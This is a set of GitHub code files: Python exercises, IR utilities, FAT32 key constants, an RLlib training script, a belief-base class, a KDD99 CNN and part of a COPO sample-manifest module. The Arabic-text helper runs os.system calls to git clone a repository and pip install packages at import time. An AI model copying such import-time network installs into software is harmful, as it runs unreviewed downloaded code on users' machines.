+{"seq_id":"72269503232","text":"# Question 5 (Special Diet for weight loss)\n# Your friend told you about a special diet for losing weight that you seem interested about.\n# The special diet allows you to consistently lose some weight every month.\n# Write a program that allows you to enter you current weight(in pounds) and the weight (in pounds)\n# that will be lost every month. Your program should display what your new weight will be at the\n# end of every month until you have lost at most half of your weight.\n# Your program should also display a message that says\n# \"In n months of joining the weight loss program, you would have lost half of your weight.\",\n# where n is the months it takes to be at most half the size of your weight\n\n# Get the initial weight as input\nweight = int(input(\"Enter your current weight: \"))\npound_lost = int(input(\"Enter the pounds you will lose every month: \"))\ncount = 0\n\n# print the heading\nprint('Weight','\\t','Projected Weight')\n\nDOUBLE_WEIGHT = weight*0.5\nwhile weight > DOUBLE_WEIGHT:\n    count += 1\n    weight-=pound_lost\n    print(count,'\\t', weight)\n\n# Print summary\nprint(\"In\", count,\"months of joining the weight loss program you would have lost half of your current weight\")\n\n    \n","repo_name":"gracomot/Basic-Python-For-College-Students","sub_path":"ProgrammingExercises/Lesson 4/question5.py","file_name":"question5.py","file_ext":"py","file_size_in_byte":1195,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"32910830845","text":"import array\nfrom nltk.stem.snowball import SnowballStemmer\nfrom nltk.corpus import stopwords\nfrom nltk.tokenize import word_tokenize\nimport string, re\n\n\nclass CompressedPostings:\n    @staticmethod\n    def VBEncodeNum(n):\n        byte = []\n        while True:\n            byte.append(n % 128)\n            if n < 128:\n                break\n            n //= 128\n        byte[0] += 128\n        return byte[::-1]\n\n    @staticmethod\n    def VBEncode(n_list):\n        b = []\n        for n in n_list:\n            b.extend(CompressedPostings.VBEncodeNum(n))\n        return b\n\n    @staticmethod\n    def VBDecode(bs):\n        n_list = []\n        n = 0\n        for b in bs:\n            if b < 128:\n                n = 128*n + b\n            else:\n                n = 128*n + b - 128\n                n_list.append(n)\n                n = 0\n        return n_list\n    \n\n    @staticmethod\n    def encode(postings_list):\n        \"\"\"Encodes `postings_list` using gap encoding with variable byte \n        encoding for each gap\n        \n        Args\n        \n        postings_list: List[int]\n            The postings list to be encoded\n        \n        Returns\n        \n        bytes: \n            Bytes reprsentation of the compressed postings list \n            (as produced by `array.tobytes` function)\n        \"\"\"\n        p = postings_list.copy()\n        for i in range(1, len(p))[::-1]:\n            p[i] -= p[i-1]\n        vb = CompressedPostings.VBEncode(p)\n        return array.array('B', vb).tobytes()\n        \n\n    @staticmethod\n    def decode(encoded_postings_list):\n        \"\"\"Decodes a byte representation of compressed postings list\n        \n        Args\n        \n        encoded_postings_list: bytes\n            Bytes representation as produced by `CompressedPostings.encode` \n            \n        Returns\n        \n        List[int]\n            Decoded postings list (each posting is a docIds)\n        \"\"\"\n        vb = array.array('B')\n        vb.frombytes(encoded_postings_list)\n        postings_list = CompressedPostings.VBDecode(vb.tolist())\n        for i in range(1, len(postings_list)):\n            postings_list[i] += postings_list[i-1]\n        return postings_list\n\n\ndef sorted_intersect(list1, list2):\n    \"\"\"Intersects two (ascending) sorted lists and returns the sorted result\n    \n    Args\n    \n        list1: List[Comparable]\n        list2: List[Comparable]\n            Sorted lists to be intersected\n        \n    Returns\n    \n        List[Comparable]\n            Sorted intersection        \n    \"\"\"\n    idx1 = idx2 = 0\n    intersect = []\n    while idx1 < len(list1) and idx2 < len(list2):\n        if list1[idx1] < list2[idx2]:\n            idx1 += 1\n        elif list2[idx2] < list1[idx1]:\n            idx2 += 1\n        else:\n            intersect.append(list1[idx1])\n            idx1 += 1\n            idx2 += 1\n    return intersect\n\n\ndef tokenize_text(text):\n    stemmer = SnowballStemmer(language='english')\n    stop_words = set(stopwords.words('english'))\n    tokens = [token for token in word_tokenize(text) if token not in stop_words and token.isalnum()]\n    return [stemmer.stem(token) for token in tokens]\n\n\ndef clean_text(text):\n    if type(text) != str or text == \"[removed]\" or text == 'nan':\n        return \"\"\n    regex = re.compile('[%s]' % re.escape(string.punctuation))\n    return regex.sub(\"\", text)","repo_name":"mysterious-progression/reddit_IR_project","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3318,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"32644929563","text":"# encoding: utf-8\n\nk_bootstrap_code = 'bootstrap_code'\nk_MBR = 'MBR'\nk_Partition = 'Partition'\nk_PartitionEntry = 'PartitionEntry'\nk_PartitionEntries = 'PartitionEntries'\nk_status = 'status'\n\nk_starting_chs_address = 'starting_chs_address'\nk_ignored = '__ignored__'\nk_partition_type = 'partition_type'\nk_ending_chs_address = 'ending_chs_address'\nk_first_sector_address = 'first_sector_address'\nk_first_byte_address = 'first_byte_address'\nk_number_of_sectors = 'number_of_sectors'\nk_size = 'size'\n\nk_boot_signature = 'boot_signature'\n\nk_FAT32BootSector = 'FAT32BootSector'\nk_jump_instruction = 'jump_instruction'\nk_OEM_name = 'OEM_name'\nk_bytes_per_sector = 'bytes_per_sector'\nk_sectors_per_cluster = 'sectors_per_cluster'\nk_number_of_reserved_sectors = 'number_of_reserved_sectors'\nk_number_of_FATs = 'number_of_FATs'\nk_media_descriptor = 'media_descriptor'\nk_sectors_per_track = 'sectors_per_track'\nk_number_of_heads = 'number_of_heads'\nk_number_of_hidden_sectors = 'number_of_hidden_sectors'\nk_sectors_per_FAT = 'sectors_per_FAT'\nk_drive_description = 'drive_description'\nk_version = 'version'\nk_cluster_number_of_root_directory_start =\\\n    'cluster_number_of_root_directory_start'\nk_sector_number_of_FS_info_sector = 'sector_number_of_FS_info_sector'\nk_sector_number_of_boot_sectors_backup = 'sector_number_of_boot_sectors_backup'\nk_drive_number = 'drive_number'\nk_extended_boot_signature = 'extended_boot_signature'\nk_volume_id = 'volume_id'\nk_volume_label = 'volume_label'\nk_filesystem_type = 'filesystem_type'\n\nk_FAT32FileAllocationTable = 'FAT32FileAllocationTable'\n\nk_Drive = 'Drive'\n\nk_FAT32 = 'FAT32'\nk_NTFS = 'NTFS'\nk_ExtendedPartition = 'ExtendedPartition'\n\nk_reserved = 'reserved'\n\nk_FAT32DirectoryTableEntry = 'FAT32DirectoryTableEntry'\nk_short_file_name = 'short_file_name'\nk_short_extension = 'short_extension'\nk_attribute = 'attribute'\nk_create_time_10ms = 'create_time_10ms'\nk_create_time = 'create_time'\nk_create_date = 'create_date'\nk_access_date = 'access_date'\nk_higher_cluster = 'higher_cluster'\nk_modify_time = 'modify_time'\nk_modify_date = 'modify_date'\nk_lower_cluster = 'lower_cluster'\nk_file_length = 'file_length'\n\nk_FAT32LongFilenameEntry = 'FAT32LongFilenameEntry'\nk_sequence_number = 'sequence_number'\nk_name_1 = 'name_1'\nk_type = 'type'\nk_checksum = 'checksum'\nk_name_2 = 'name_2'\nk_first_cluster = 'first_cluster'\nk_name_3 = 'name_3'\n\nk_filename = 'filename'\nk_full_path = 'full_path'\nk_path = 'path'\nk_extension = 'k_extension'\nk_cluster_list = 'cluster_list'\n","repo_name":"palewithout/createfile","sub_path":"drive/keys.py","file_name":"keys.py","file_ext":"py","file_size_in_byte":2496,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"34778166973","text":"import time\nimport ray\nimport ray.rllib.agents.ppo as ppo\nfrom ray.tune.logger import pretty_print\nfrom env import CustomSkipFrame, KukaCamReachEnv\nfrom ray import tune\nfrom ray.tune import grid_search\nfrom ray.rllib.env.env_context import EnvContext\nfrom ray.tune.registry import register_env, register_trainable\nfrom ray.rllib.agents.ppo import PPOTrainer\nfrom ray.rllib.agents.impala import ImpalaTrainer\n\nif __name__=='__main__':\n        \n    ray.shutdown()\n    ray.init(ignore_reinit_error=True)\n\n    # env_config={\n    #     \"is_render\":False,\n    #     \"is_good_view\":False,\n    #     \"max_steps_one_episode\":1000,\n    # }\n    # env=KukaCamReachEnv(env_config)\n    # env=CustomSkipFrame(env)\n    \n    register_env(\"kuka_env\",lambda config: CustomSkipFrame(KukaCamReachEnv(config)))\n    #register_env(\"kuka_env\",lambda config: KukaCamReachEnv(config))\n    \n    \n    config = {\n        \"env\": \"kuka_env\",\n        \"model\":{\n            \"conv_filters\":[[32,[3,3],2],[32,[3,3],2],[32,[3,3],2],[32,[3,3],2],[1152,[6,6],1]],\n           # \"conv_filters\":\"relu\",\n            \"post_fcnet_hiddens\":[512,251],\n            \"post_fcnet_activation\":\"relu\",\n        },\n        \"env_config\":{\n            \"is_render\":False,\n            \"is_good_view\":False,\n            \"max_steps_one_episode\":1000,\n        },\n        \"num_workers\":10,\n        \"num_gpus\":1,\n        \"framework\":\"torch\",\n        # \"render_env\":False,\n        # \"num_gpus_per_worker\":0,\n      #  \"num_envs_per_worker\":5,\n        # \"rollout_fragment_length\":1000,\n        # \"train_batch_size\":4000,\n       # \"batch_mode\":\"complete_episodes\",\n        #\"lr\":0.0001,\n       # \"lr\":grid_search([5e-5,0.0001])\n    }\n\n    config_for_trainer = {\n        \"env\": \"kuka_env\",\n        # \"model\":{\n        #     \"conv_filters\":[[32,[3,3],2],[32,[3,3],2],[32,[3,3],2],[32,[3,3],2],[1152,[6,6],1]],\n        #    # \"conv_filters\":\"relu\",\n        #     \"post_fcnet_hiddens\":[512,251],\n        #     \"post_fcnet_activation\":\"relu\",\n        # },\n        \"env_config\":{\n            \"is_render\":False,\n            \"is_good_view\":False,\n            \"max_steps_one_episode\":1000,\n        },\n        \"num_workers\":1,\n        \"num_gpus\":1,\n        \"framework\":\"torch\",\n    }\n\n    stop = {\n        \"episode_reward_mean\": 0.99,\n        \"training_iteration\":200,\n    }\n\n    # trainer=PPOTrainer(config=config_for_trainer)\n    # print(trainer.get_policy().model)\n    #\n    # trainer=ImpalaTrainer(config=config_for_trainer)\n    # print(trainer.get_policy().model)\n    \n    \n    results = tune.run(\n        \"SAC\", # Specify the algorithm to train\n        config=config,\n        stop=stop,\n        checkpoint_freq=1,\n    )\n\n    metric=\"episode_reward_mean\"\n    best_trial = results.get_best_trial(metric=metric, mode=\"max\", scope=\"all\")\n    best_checkpoint=results.get_best_checkpoint(best_trial,metric=metric,mode=\"max\")\n    print('best checkpoint: ',best_checkpoint)\n   \n    ray.shutdown()","repo_name":"borninfreedom/deep-rl-with-robots","sub_path":"src/train/kuka_reach/with_image/train_with_rllib.py","file_name":"train_with_rllib.py","file_ext":"py","file_size_in_byte":2916,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"37438880788","text":"import os\nos.system(\"git clone https://github.com/gasharper/linux-fonts.git\")\nos.system(\"pip install arabic_reshaper\")\nos.system(\"pip install python-bidi\")\nimport cv2 \nimport arabic_reshaper\nfrom bidi.algorithm import get_display\nimport numpy as np\nfrom PIL import ImageFont, ImageDraw, Image\n\ndef put_ar_text(img, text, cor=(0,0), font_size=32, fontpath=\"./linux-fonts/arial.ttf\", fill_color=(255,255,0), windows=False):\n  font = ImageFont.truetype(fontpath, font_size)\n  img_pil = Image.fromarray(img)\n  draw = ImageDraw.Draw(img_pil)\n  reshaped_text = arabic_reshaper.reshape(text)\n  bidi_text = get_display(reshaped_text) \n  draw = ImageDraw.Draw(img_pil)\n  draw.text(cor, bidi_text, font = font, fill=fill_color)\n  img = np.array(img_pil)\n  if windows:\n    cv2.waitKey(0)\n    cv2.destroyAllWindows()\n\n  return img\n","repo_name":"samfathy74/snippets-code-with-python","sub_path":"put_arabic_text_above_image.py","file_name":"put_arabic_text_above_image.py","file_ext":"py","file_size_in_byte":819,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"32588254029","text":"import math\nimport logging\nfrom operator import neg\n\nfrom sympy.logic.boolalg import to_cnf, And, Or, Equivalent, Implies, disjuncts\nfrom Belief import Belief\nimport calculations\n\n\nclass BeliefBase:\n    def __init__(self):\n        self.beliefsSetOriginal = []\n        self.beliefsSetCNF = []\n\n    def __eq__(self, other):\n        return self.beliefsSetOriginal == other.beliefsSetOriginal\n\n    def addBelief(self, belief):\n        if self.deleteSameBelief(belief) == 1:\n            \n            x = Belief(belief)\n            self.beliefsSetOriginal.append(x)\n            self.calcutatePlausibilityOrders(self.beliefsSetOriginal)\n\n    def addBliefWithOrder(self, belief, plausibilityOrder):\n        x = Belief(belief)\n        x.plausibilityOrder = plausibilityOrder\n        self.beliefsSetOriginal.append(x)\n\n    def addBlindly(self, belief):\n        x = Belief(belief)\n        self.beliefsSetOriginal.append(x)\n        self.calcutatePlausibilityOrders(self.beliefsSetOriginal)\n\n    def convertToCNF(self):\n        self.beliefsSetCNF = []\n        for belief in self.beliefsSetOriginal:\n            cnfBelief = to_cnf(belief.belief)\n            separatedBeliefs = calculations.splitFormula('&', cnfBelief)\n            for b in separatedBeliefs:\n                x = Belief(b)\n                x.plausibilityOrder = belief.plausibilityOrder\n                self.beliefsSetCNF.append(x)\n\n    def printCNF(self):\n        print('PRINTING CNF: ')\n        for belief in self.beliefsSetCNF:\n            print(belief.belief, belief.plausibilityOrder)\n\n    def calcutatePlausibilityOrders(self, beliefsSet):\n        if len(beliefsSet) == 1:\n            pass\n        else:\n            ratio = 1 / len(beliefsSet)\n            i = 0\n            for i in range(0, len(beliefsSet)):\n                beliefsSet[i].plausibilityOrder = round((i + 1) * ratio, 2)\n\n    # when a new belief come, check if it has same in the original part\n    def deleteSameBelief(self, newBelief):\n\n        for belief in self.beliefsSetOriginal:\n            if to_cnf(belief.belief) == to_cnf(newBelief):\n                #print('Previous belief: ', belief.belief, 'order:', belief.plausibilityOrder, 'is the same.')\n                #print('Deleting it before adding new belief', newBelief, 'with order 1' )\n                self.beliefsSetOriginal.remove(belief)\n                self.addBelief(newBelief)\n                return 0\n        return 1\n\n    def AGMContractionSuccess(self, newBelief):\n        for belief in self.beliefsSetOriginal:\n            if to_cnf(belief.belief) == to_cnf(newBelief):\n                return 0\n        return 1\n\n    def AGMContractionInclusion(self, oriBeliefSet):\n        counter = 0\n        for belief in self.beliefsSetOriginal:\n            for oribelief in oriBeliefSet.beliefsSetOriginal:\n                if belief.belief == oribelief.belief:\n                    counter += 1\n        if counter == len(self.beliefsSetOriginal):\n            return 1\n        return 0\n\n\n    def __repr__(self):\n        if len(self.beliefsSetOriginal) == 0:\n            return 'empty'\n        return '\\n'.join(str(x) for x in self.beliefsSetOriginal)\n","repo_name":"SeleneQAQ/belief_revision","sub_path":"BeliefBase.py","file_name":"BeliefBase.py","file_ext":"py","file_size_in_byte":3128,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"8605811973","text":"list_of_numbers = []\nlist_of_even = []\nlist_of_odd = []\n\nwhile True:\n    user_num = int(input(\"Write a number => \"))\n    list_of_numbers.append(user_num)\n\n    if user_num != 0:\n        if user_num % 2 == 0:\n            list_of_even.append(user_num)\n        else:\n            list_of_odd.append(user_num)\n\n    question = input(\"Do you want continue? [Y/N] => \").strip().upper()[0]\n    if \"N\" in question:\n        break\n\nprint(f\"The complete list is: {list_of_numbers}\")\nprint(f\"The even list is: {list_of_even}\")\nprint(f\"The odd list is: {list_of_odd}\")\n","repo_name":"israellinofaustino/python3_learning","sub_path":"exercises_third_world/ex082.py","file_name":"ex082.py","file_ext":"py","file_size_in_byte":553,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"60"}
+{"seq_id":"9562510313","text":"from __future__ import print_function\nfrom __future__ import division\n\nimport torch\nimport torch.nn as nn\n\n\nclass CNN(nn.Module):\n    def __init__(self, in_dim, n_class):\n        super(CNN, self).__init__()\n\n        self.conv = nn.Sequential(\n            nn.Conv2d(in_dim, 6, 3, stride=1, padding=1),\n            nn.BatchNorm2d(6),\n            nn.ReLU(True),\n            nn.Conv2d(6, 16, 3, stride=1, padding=0),\n            nn.BatchNorm2d(16),\n            nn.ReLU(True),\n            nn.MaxPool2d(2, 2)\n        )\n\n        self.fc = nn.Sequential(\n            nn.Linear(144, 512),\n            nn.Linear(512, 256),\n            nn.Linear(256, n_class)\n        )\n\n    def forward(self, x):\n        out = self.conv(x)\n        out = out.view(out.size(0), -1)\n        out = self.fc(out)\n        return out\n","repo_name":"Bingmang/kddcup99-cnn","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":799,"program_lang":"python","lang":"en","doc_type":"code","stars":47,"dataset":"github-code","pt":"60"}
+{"seq_id":"43153126739","text":"# Created by fshaw at 03/04/2020\nimport os\nimport re\nimport uuid\nimport pickle\nimport importlib\nfrom os.path import join, isfile\nfrom pathlib import Path\nfrom shutil import rmtree\nfrom urllib.error import HTTPError\nimport jsonpath_rw_ext as jp\nimport pandas\nfrom django.conf import settings\nfrom django.core.files.storage import default_storage\nfrom django_tools.middlewares import ThreadLocal\nimport common.schemas.utils.data_utils as d_utils\nfrom common.utils.helpers import map_to_dict, get_datetime, notify_frontend\nfrom common.dal.copo_da import Sample, DataFile, Profile, ValidationQueue\nfrom .copo_email import Email\nfrom common.lookup import lookup as lk\nfrom common.lookup.lookup import SRA_SETTINGS\nfrom common.schemas.utils.data_utils import json_to_pytype\nfrom .helpers import query_public_name_service\nfrom common.schema_versions.lookup import dtol_lookups as lookup\n#from common.schema_versions import optional_field_dtol_validators as optional_validators, \\\n#    taxon_validators\n#from common.schema_versions import required_field_dtol_validators as required_validators\nfrom common.utils.logger import Logger\nfrom PIL import Image\n\nImage.MAX_IMAGE_PIXELS = None\n\nl = Logger()\n\ndef make_target_sample(sample):\n    # need to pop taxon info, and add back into sample_list\n    if not \"species_list\" in sample:\n        sample[\"species_list\"] = list()\n    out = dict()\n    symbiont = sample.pop(\"SYMBIONT\")\n    if symbiont.upper() not in [\"SYMBIONT\", \"TARGET\"]:\n        if symbiont:\n            out[\"SYMBIONT_SOP2dot2\"] = symbiont\n        symbiont = \"TARGET\"\n\n    out[\"SYMBIONT\"] = symbiont.upper()\n    out[\"TAXON_ID\"] = sample.pop(\"TAXON_ID\")\n    out[\"ORDER_OR_GROUP\"] = sample.pop(\"ORDER_OR_GROUP\")\n    out[\"FAMILY\"] = sample.pop(\"FAMILY\")\n    out[\"GENUS\"] = sample.pop(\"GENUS\")\n    out[\"SCIENTIFIC_NAME\"] = sample.pop(\"SCIENTIFIC_NAME\")\n    out[\"INFRASPECIFIC_EPITHET\"] = sample.pop(\"INFRASPECIFIC_EPITHET\")\n    out[\"CULTURE_OR_STRAIN_ID\"] = sample.pop(\"CULTURE_OR_STRAIN_ID\")\n    out[\"COMMON_NAME\"] = sample.pop(\"COMMON_NAME\")\n    out[\"TAXON_REMARKS\"] = sample.pop(\"TAXON_REMARKS\")\n    sample[\"species_list\"].append(out)\n\n    return sample\n\n\ndef make_species_list(sample):\n    # need to pop taxon info, and add back into sample_list\n    if not \"species_list\" in sample:\n        sample[\"species_list\"] = list()\n    out = dict()\n    symbiont = sample.get(\"SYMBIONT\")\n    if symbiont.upper() not in [\"SYMBIONT\", \"TARGET\"]:\n        if symbiont:\n            out[\"SYMBIONT_SOP2dot2\"] = symbiont\n        symbiont = \"TARGET\"\n\n    out[\"SYMBIONT\"] = symbiont.upper()\n    out[\"TAXON_ID\"] = sample.get(\"TAXON_ID\", \"\")\n    out[\"ORDER_OR_GROUP\"] = sample.get(\"ORDER_OR_GROUP\", \"\")\n    out[\"FAMILY\"] = sample.get(\"FAMILY\", \"\")\n    out[\"GENUS\"] = sample.get(\"GENUS\", \"\")\n    out[\"SCIENTIFIC_NAME\"] = sample.get(\"SCIENTIFIC_NAME\", \"\")\n    out[\"INFRASPECIFIC_EPITHET\"] = sample.get(\"INFRASPECIFIC_EPITHET\", \"\")\n    out[\"CULTURE_OR_STRAIN_ID\"] = sample.get(\"CULTURE_OR_STRAIN_ID\", \"\")\n    out[\"COMMON_NAME\"] = sample.get(\"COMMON_NAME\", \"\")\n    out[\"TAXON_REMARKS\"] = sample.get(\"TAXON_REMARKS\", \"\")\n    sample[\"species_list\"].append(out)\n    return sample\n\ndef update_permit_filename(sample, permit_filename_mapping):\n    # Update/Set permit filename to a unique name if it exists and it is not equal to \"NOT_APPLICABLE\"\n    # for ERGA manifests\n    for col_name in lookup.PERMIT_FILENAME_COLUMN_NAMES:\n        if sample.get(col_name, \"\") and sample.get(col_name, \"\") not in lookup.BLANK_VALS:\n            sample[col_name] = permit_filename_mapping.get(sample.get(col_name, \"\"), \"\")\n    return sample\n\n\nclass DtolSpreadsheet:\n    fields = \"\"\n    sra_settings = d_utils.json_to_pytype(SRA_SETTINGS, compatibility_mode=False).get(\"properties\", dict())\n\n    def __init__(self, file=None, p_id=\"\", validation_record_id=\"\"):\n        self.req = ThreadLocal.get_current_request()\n        if p_id == \"\" and validation_record_id:\n            self.vr = ValidationQueue().get_record(validation_record_id)\n            p_id = self.vr.get(\"profile_id\", \"\")\n        if file:\n            self.file = file\n        else:\n            #self.sample_data = self.req.session.get(\"sample_data\", \"\")\n            #if self.sample_data == \"\":\n            #    self.sample_data = pickle.loads(self.vr[\"manifest_data\"])\n            self.sample_data = pickle.loads(self.vr[\"manifest_data\"])\n            self.isupdate = self.req.session.get(\"isupdate\", False)\n        self.profile_id = p_id\n\n        sample_images = Path(settings.MEDIA_ROOT) / \"sample_images\"\n        sample_permits = Path(settings.MEDIA_ROOT) / \"sample_permits\"\n        display_images = Path(settings.MEDIA_URL) / \"sample_images\"\n        self.these_images = sample_images\n        self.these_permits = sample_permits / self.profile_id\n        self.display_images = display_images\n        self.data = None\n        #self.required_field_validators = list()\n        #self.optional_field_validators = list()\n        #self.taxon_field_validators = list()\n        #self.DtolSpreadsheet = optional_validators\n        #self.required_validators = required_validators\n        #self.taxon_validators = taxon_validators\n        #self.symbiont_list = []\n        #self.validator_list = []\n        # if a file is passed in, then this is the first time we have seen the spreadsheet,\n        # if not then we are looking at creating samples having previously validated\n\n        # get type of manifest\n        t = Profile().get_type(self.profile_id)\n        if \"ASG\" in t:\n            self.type = \"ASG\"\n        elif \"ERGA\" in t:\n            self.type = \"ERGA\"\n        elif \"DTOL_ENV\" in t:\n            self.type = \"DTOL_ENV\"\n        else:\n            self.type = \"DTOL\"\n        self.current_schema_version = settings.MANIFEST_VERSION.get(self.type, \"\")\n        # get associated profile type(s) of manifest\n        associated_type_lst = Profile().get_associated_type(self.profile_id, value=True, label=False)\n        # Get associated type(s) as string separated by '|' symbol\n        self.associated_type = \" | \".join(associated_type_lst)\n\n        '''\n        # create list of required validators\n        required = dict(globals().items())[\"required_validators\"]\n        for element_name in dir(required):\n            element = getattr(required, element_name)\n            if inspect.isclass(element) and issubclass(element, Validator) and not element.__name__ == \"Validator\":\n                self.required_field_validators.append(element)\n        # create list of optional validators\n        optional = dict(globals().items())[\"optional_validators\"]\n        for element_name in dir(optional):\n            element = getattr(optional, element_name)\n            if inspect.isclass(element) and issubclass(element, Validator) and not element.__name__ == \"Validator\":\n                self.optional_field_validators.append(element)\n        # create list of taxon validators\n        optional = dict(globals().items())[\"taxon_validators\"]\n        for element_name in dir(optional):\n            element = getattr(optional, element_name)\n            if inspect.isclass(element) and issubclass(element, Validator) and not element.__name__ == \"Validator\":\n                self.taxon_field_validators.append(element)\n        '''\n\n    def loadManifest(self, m_format):\n\n        if self.profile_id is not None:\n            notify_frontend(data={\"profile_id\": self.profile_id}, msg=\"Loading..\", action=\"info\",\n                            html_id=\"sample_info\")\n            try:\n                # read excel and convert all to string\n                if m_format == \"xls\":\n                    self.data = pandas.read_excel(self.file, keep_default_na=False,\n                                                  na_values=lookup.NA_VALS)\n                elif m_format == \"csv\":\n                    self.data = pandas.read_csv(self.file, keep_default_na=False,\n                                                na_values=lookup.NA_VALS)\n                self.data = self.data.loc[:, ~self.data.columns.str.contains('^Unnamed')]\n                '''\n                for column in self.allowed_empty:\n                    self.data[column] = self.data[column].fillna(\"\")\n                '''\n                self.data = self.data.apply(lambda x: x.astype(str))\n                self.data = self.data.apply(lambda x: x.str.strip())\n                self.data.columns = self.data.columns.str.replace(\" \", \"\")\n            except Exception as e:\n                # if error notify via web socket\n                notify_frontend(data={\"profile_id\": self.profile_id}, msg=\"Unable to load file. \" + str(e),\n                                action=\"error\",\n                                html_id=\"sample_info\")\n                l.exception(e)\n                return False\n            return True\n\n    \"\"\"\n    def validate(self):\n        flag = True\n        errors = []\n        warnings = []\n        self.isupdate = False\n\n        try:\n            # get definitive list of mandatory DTOL fields from schema\n            s = json_to_pytype(lk.WIZARD_FILES[\"sample_details\"], compatibility_mode=False)\n            self.fields = jp.match(\n                '$.properties[?(@.specifications[*] == \"' + self.type.lower() + '\" & @.required==\"true\" & @.manifest_version[*]== \"' + self.current_schema_version + '\")].versions[0]',\n                s)\n\n            # validate for required fields\n            for v in self.required_field_validators:\n                errors, warnings, flag, self.isupdate = v(profile_id=self.profile_id, fields=self.fields,\n                                                          data=self.data,\n                                                          errors=errors, warnings=warnings, flag=flag,\n                                                          isupdate=self.isupdate).validate()\n\n            # get list of all DTOL fields from schemas\n            self.fields = jp.match(\n                '$.properties[?(@.specifications[*] == ' + self.type.lower() + '\"& @.manifest_version[*]==\"' + self.current_schema_version + '\")].versions[0]',\n                s)\n\n            # validate for optional dtol fields\n            for v in self.optional_field_validators:\n                errors, warnings, flag = v(profile_id=self.profile_id, fields=self.fields, data=self.data,\n                                           errors=errors, warnings=warnings, flag=flag).validate()\n\n            # send warnings\n            if warnings:\n                notify_frontend(data={\"profile_id\": self.profile_id},\n                                msg=\"<br>\".join(warnings),\n                                action=\"warning\",\n                                html_id=\"warning_info2\")\n            # if flag is false, compile list of errors\n            if not flag:\n                errors = list(map(lambda x: \"<li>\" + x + \"</li>\", errors))\n                errors = \"\".join(errors)\n\n                notify_frontend(data={\"profile_id\": self.profile_id},\n                                msg=\"<h4>\" + self.file.name + \"</h4><ol>\" + errors + \"</ol>\",\n                                action=\"error\",\n                                html_id=\"sample_info\")\n                return False\n\n\n\n        except Exception as e:\n            l.exception(e)\n            error_message = str(e).replace(\"<\", \"\").replace(\">\", \"\")\n            notify_frontend(data={\"profile_id\": self.profile_id}, msg=\"Server Error - \" + error_message,\n                            action=\"error\",\n                            html_id=\"sample_info\")\n            raise\n\n        # if we get here we have a valid spreadsheet\n        notify_frontend(data={\"profile_id\": self.profile_id}, msg=\"Spreadsheet is Valid\", action=\"info\",\n                        html_id=\"sample_info\")\n        notify_frontend(data={\"profile_id\": self.profile_id}, msg=\"\", action=\"close\", html_id=\"upload_controls\")\n        notify_frontend(data={\"profile_id\": self.profile_id}, msg=\"\", action=\"make_valid\", html_id=\"sample_info\")\n\n        return True\n    \"\"\"\n        \n    def validate_taxonomy(self):\n        ''' check if provided scientific name, TAXON ID,\n        family and order are consistent with each other in known taxonomy'''\n\n        errors = []\n        warnings = []\n        flag = True\n        try:\n            # validate for optional dtol fields\n            for v in self.taxon_field_validators:\n                errors, warnings, flag = v(profile_id=self.profile_id, fields=self.fields, data=self.data,\n                                           errors=errors, warnings=warnings, flag=flag).validate()\n\n            # send warnings\n            if warnings:\n                notify_frontend(data={\"profile_id\": self.profile_id},\n                                msg=\"<br>\".join(warnings),\n                                action=\"warning\",\n                                html_id=\"warning_info\")\n\n            if not flag:\n                errors = list(map(lambda x: \"<li>\" + x + \"</li>\", errors))\n                errors = \"\".join(errors)\n                notify_frontend(data={\"profile_id\": self.profile_id},\n                                msg=\"<h4>\" + self.file.name + \"</h4><ol>\" + errors + \"</ol>\",\n                                action=\"error\",\n                                html_id=\"sample_info\")\n                return False\n\n            else:\n                return True\n\n        except HTTPError as e:\n\n            error_message = str(e).replace(\"<\", \"\").replace(\">\", \"\")\n            notify_frontend(data={\"profile_id\": self.profile_id},\n                            msg=\"Service Error - The NCBI Taxonomy service may be down, please try again later.\",\n                            action=\"error\",\n                            html_id=\"sample_info\")\n            return False\n        except Exception as e:\n            l.exception(e)\n            error_message = str(e).replace(\"<\", \"\").replace(\">\", \"\")\n            notify_frontend(data={\"profile_id\": self.profile_id}, msg=\"Server Error - \" + error_message,\n                            action=\"error\",\n                            html_id=\"sample_info\")\n            return False\n\n    def check_image_names(self, files):\n        # compare list of sample names with specimen ids already uploaded\n        samples = self.sample_data\n        # get list of specimen_ids in sample\n        # specimen_id_column_index = 0\n        output = list()\n        # for num, col_name in enumerate(samples.columns):\n        #    if col_name == \"SPECIMEN_ID\":\n        #        specimen_id_column_index = num\n        #        break\n        # if os.path.isdir(self.these_images):\n        #    rmtree(self.these_images)\n\n        # find distinct specimenId\n        specimentIds = samples[\"SPECIMEN_ID\"].drop_duplicates().dropna()\n\n        thumbnail_folder = self.these_images / \"thumbnail\"\n        thumbnail_folder.mkdir(parents=True, exist_ok=True)\n\n        image_path = Path(self.these_images)\n        display_path = Path(self.display_images)\n        # image_path = Path(settings.MEDIA_ROOT) / \"sample_images\" / self.profile_id\n        existing_images = DataFile().get_datafile_names_by_name_regx(specimentIds)\n\n        for f in files:\n            file = files[f]\n\n            # file_path = image_path / file.name\n            # write full sized image to large storage\n            file_path = image_path / file.name\n            thumbnail_path = thumbnail_folder / file.name\n            thumbnail_display_path = display_path / \"thumbnail\" / file.name\n            file_display_path = display_path / file.name\n\n            filename = os.path.splitext(file.name)[0].upper()\n            # now iterate through samples data to see if there is a match between specimen_id and image name\n            found = False\n            size = 128, 128\n            for specimenId in specimentIds:\n                if filename.startswith(specimenId + \"-\"):\n                    found = True\n                    if file.name in existing_images:\n                        output.append(\n                            {\"file_name\": str(file_display_path), \"thumbnail\": \"\", \"specimen_id\": \"Duplicated\",\n                             \"name\": \"\"})\n                        break\n                    # we have a match\n                    output.append({\"file_name\": str(file_display_path), \"thumbnail\": str(thumbnail_display_path),\n                                   \"specimen_id\": specimenId, \"name\": file.name})\n\n                    # logging.info(\"writing \" + 